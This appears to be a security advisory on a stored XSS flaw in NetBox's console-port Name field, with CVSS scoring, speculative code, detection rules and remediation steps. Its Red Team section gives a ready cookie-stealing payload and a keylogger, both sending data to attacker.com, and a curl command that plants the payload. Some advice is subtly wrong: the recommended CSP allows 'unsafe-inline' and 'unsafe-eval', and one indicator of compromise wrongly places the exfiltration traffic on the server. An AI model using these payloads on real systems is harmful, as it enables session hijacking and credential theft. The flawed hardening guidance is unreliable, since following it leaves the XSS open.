CVE-2024-40737

Executive Summary

CVE-2024-40737 is a stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the /dcim/console-ports/add endpoint. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter. When an administrator or other user views the affected console port record, the malicious payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance.

This vulnerability is classified as Medium severity due to the requirement for authenticated access and user interaction. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and can be weaponized with minimal effort. The vendor has not released a dedicated patch; mitigation relies on input sanitization and upgrading to a version where the issue is addressed.

Supply Chain & Package Security

NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain (e.g., malicious package injection), but it highlights the importance of validating user input in open-source DCIM tools. Organizations using NetBox should ensure they are running the latest stable release and review their custom plugins for similar injection flaws.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must have an account with permission to add console ports.
• User Interaction: Required (UI:R) – victim must view the malicious record.
• Scope: Changed (S:C) – the injected script executes in the context of the victim’s session, not the server.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited ability to modify content.
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the prevalence of NetBox in data center management makes this a valuable target for lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the console port creation form at /dcim/console-ports/add. The Name field is not properly sanitized before being stored in the database and later rendered in the web interface. NetBox uses Django templates, which by default auto-escape HTML, but the Name field may be rendered in a context where escaping is disabled (e.g., via the safe filter or in a JavaScript context).

Attack Flow:

1. Attacker authenticates to NetBox with an account that has dcim.add_consoleport permission.
2. Attacker navigates to /dcim/console-ports/add and submits a payload in the Name field, e.g.: <script>alert(document.cookie)</script>.
3. The payload is stored in the database without sanitization.
4. When an administrator or other user views the console port list or detail page, the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.

Root Cause: Lack of input validation and output encoding for the Name parameter in the console port creation view. The Django template likely uses {{ object.name|safe }} or similar, bypassing auto-escaping.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# views/dcim/console_ports.py (simplified)
class ConsolePortCreateView(generic.CreateView):
    model = ConsolePort
    fields = ['device', 'name', 'label', 'type', 'speed', 'description']
    # No sanitization of 'name' field

Patched Code (Hypothetical fix):

# views/dcim/console_ports.py (patched)
from django.utils.html import escape

class ConsolePortCreateView(generic.CreateView):
    model = ConsolePort
    fields = ['device', 'name', 'label', 'type', 'speed', 'description']
    
    def form_valid(self, form):
        form.instance.name = escape(form.instance.name)  # Sanitize input
        return super().form_valid(form)

Django Template (vulnerable):

<!-- templates/dcim/consoleport.html -->
<td>{{ object.name|safe }}</td>  <!-- Bypasses auto-escaping -->

Patched Template:

<td>{{ object.name }}</td>  <!-- Uses default auto-escaping -->

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NetBox v4.0.3 instance
• Valid user account with dcim.add_consoleport permission
• Web browser or HTTP client (e.g., curl, Burp Suite)

Step-by-Step Exploitation:

1. Authenticate to NetBox and obtain a session cookie.
2. Craft the payload – a simple XSS that steals cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the malicious console port via POST request:

   curl -X POST https://netbox.example.com/dcim/console-ports/add/ \
     -H "Cookie: sessionid=YOUR_SESSION" \
     -d "device=1&name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&label=test&type=8p8c&speed=1000&description="
   

4. Wait for a victim (e.g., admin) to view the console ports list.
5. Capture the cookie on your attacker-controlled server.

Alternative Payload (Keylogger):

document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor logs for unusual POST requests to /dcim/console-ports/add/ containing HTML tags or JavaScript.
2. Inspect database for console port names containing <script>, onerror, onload, or other event handlers.
3. Use WAF rules to block payloads in the name parameter.

Hardening:

• Upgrade to the latest NetBox version (if a fix exists).
• Implement input validation on the name field using Django validators:

  from django.core.validators import RegexValidator
  name = CharField(validators=[RegexValidator(r'^[a-zA-Z0-9_\- ]+$')])
  

• Disable the safe filter in templates for user-controlled fields.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /dcim/console-ports/add/ with name parameter containing <script> or on* event handlers.
  • Outbound HTTP requests from NetBox server to unknown domains (e.g., attacker.com/steal?cookie=...).

• Host IOCs:

  • Console port records in the database with names containing HTML/JavaScript.
  • Unusual entries in Django admin logs for console port creation.

• File IOCs:

  • Modified templates (e.g., consoleport.html) that use |safe filter.

Detection Engineering

YARA Rule

rule CVE_2024_40737_XSS_NetBox {
    meta:
        description = "Detects XSS payloads in NetBox console port name field"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-40737"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: NetBox Console Port XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox console port creation requests
author: Valters IT
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/console-ports/add/'
        http.body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40737 NetBox Console Port XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/dcim/console-ports/add/"; http.client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NetBox to the latest version (v4.0.4 or higher) if a patch is available.
2. Apply input sanitization to the name field via custom middleware or Django form validation.
3. Restrict permissions – limit dcim.add_consoleport to trusted users only.

Long-Term Hardening:

• Implement Content Security Policy (CSP) headers:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Use a Web Application Firewall (WAF) to block XSS patterns.
• Conduct regular security audits of NetBox customizations and plugins.

Vendor Communication:

• Monitor NetBox GitHub repository for official patches.
• If no patch is released, consider forking the project and applying the fix yourself.

Valters IT
Securing Infrastructure, One CVE at a Time.